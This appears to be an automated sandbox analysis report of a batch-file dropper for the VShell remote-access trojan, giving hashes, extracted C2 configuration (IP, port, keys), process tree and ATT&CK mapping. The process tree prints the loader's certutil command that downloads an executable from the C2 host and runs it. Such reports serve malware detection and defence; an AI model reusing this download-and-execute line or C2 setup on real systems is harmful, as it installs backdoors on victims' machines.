vshell | 579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 01:16

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General

Target
jaffacakes118_579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62.bat
Size 512B
Sample260910-bm3m2atbja
SHA256 579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62
MD5 b08190f007863d99b5db4e6ecd1240e0
SHA1 3a48981c4876561dbfd79842df23e6796c95d08f
SHA512 faef78cc5f115c0042e0fdbebd0d320817ad1c1501ff165fad45ffbc60beef2564de817d7d5e6e6d1dc6a1ddaa9969e8bcae8fd80c0f811db0eaf35c92b7342a
TLSH
T1C3F09ECD08324EFE0FC9C973F4946186B00AA0CCCAA1E9D41B9125DD4D490D832EBB92
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

107.173.101.114

Attributes

port
10000
salt
qwWVRFS
type
tcp
vkey
qwwrvd

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/3308-8-0x0000000067700000-0x0000000067ED4000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	3776	certutil.exe
6	3776	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
3308	325f9054tcp.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4852	cmd.exe
4320	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3308	325f9054tcp.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2068	WMIC.exe
Token: SeSecurityPrivilege	2068	WMIC.exe
Token: SeTakeOwnershipPrivilege	2068	WMIC.exe
Token: SeLoadDriverPrivilege	2068	WMIC.exe
Token: SeSystemProfilePrivilege	2068	WMIC.exe
Token: SeSystemtimePrivilege	2068	WMIC.exe
Token: SeProfSingleProcessPrivilege	2068	WMIC.exe
Token: SeIncBasePriorityPrivilege	2068	WMIC.exe
Token: SeCreatePagefilePrivilege	2068	WMIC.exe
Token: SeBackupPrivilege	2068	WMIC.exe
Token: SeRestorePrivilege	2068	WMIC.exe
Token: SeShutdownPrivilege	2068	WMIC.exe
Token: SeDebugPrivilege	2068	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2068	WMIC.exe
Token: SeRemoteShutdownPrivilege	2068	WMIC.exe
Token: SeUndockPrivilege	2068	WMIC.exe
Token: SeManageVolumePrivilege	2068	WMIC.exe
Token: 33	2068	WMIC.exe
Token: 34	2068	WMIC.exe
Token: 35	2068	WMIC.exe
Token: 36	2068	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2068	WMIC.exe
Token: SeSecurityPrivilege	2068	WMIC.exe
Token: SeTakeOwnershipPrivilege	2068	WMIC.exe
Token: SeLoadDriverPrivilege	2068	WMIC.exe
Token: SeSystemProfilePrivilege	2068	WMIC.exe
Token: SeSystemtimePrivilege	2068	WMIC.exe
Token: SeProfSingleProcessPrivilege	2068	WMIC.exe
Token: SeIncBasePriorityPrivilege	2068	WMIC.exe
Token: SeCreatePagefilePrivilege	2068	WMIC.exe
Token: SeBackupPrivilege	2068	WMIC.exe
Token: SeRestorePrivilege	2068	WMIC.exe
Token: SeShutdownPrivilege	2068	WMIC.exe
Token: SeDebugPrivilege	2068	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2068	WMIC.exe
Token: SeRemoteShutdownPrivilege	2068	WMIC.exe
Token: SeUndockPrivilege	2068	WMIC.exe
Token: SeManageVolumePrivilege	2068	WMIC.exe
Token: 33	2068	WMIC.exe
Token: 34	2068	WMIC.exe
Token: 35	2068	WMIC.exe
Token: 36	2068	WMIC.exe
Token: SeDebugPrivilege	3308	325f9054tcp.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 4320	4852	cmd.exe	86
PID 4320 wrote to memory of 2068	4320	cmd.exe	87
PID 4320 wrote to memory of 948	4320	cmd.exe	88
PID 4852 wrote to memory of 3776	4852	cmd.exe	90
PID 4852 wrote to memory of 3308	4852	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_579181c2f35feb6291643e80229246b6eaac2ebd1b2510079d04e8900592bd62.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2068
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:948
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\325f9054tcp.exe"
  2⤵
  - Downloads MZ/PE file
  PID:3776
- C:\Users\Public\325f9054tcp.exe
  "C:\Users\Public\325f9054tcp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3308

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

325f9054tcp.exe

Path C:\Users\Public\325f9054tcp.exe
Size 3KB
SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
MD5 6a1c343bec9f0ae29f493a0a93206542
SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
TLSH
T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3308-14-0x000001E679130000-0x000001E67ADCD000-memory.dmp

Download

memory/3308-8-0x0000000067700000-0x0000000067ED4000-memory.dmp

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memory/3308-18-0x000001E679130000-0x000001E67ADCD000-memory.dmp

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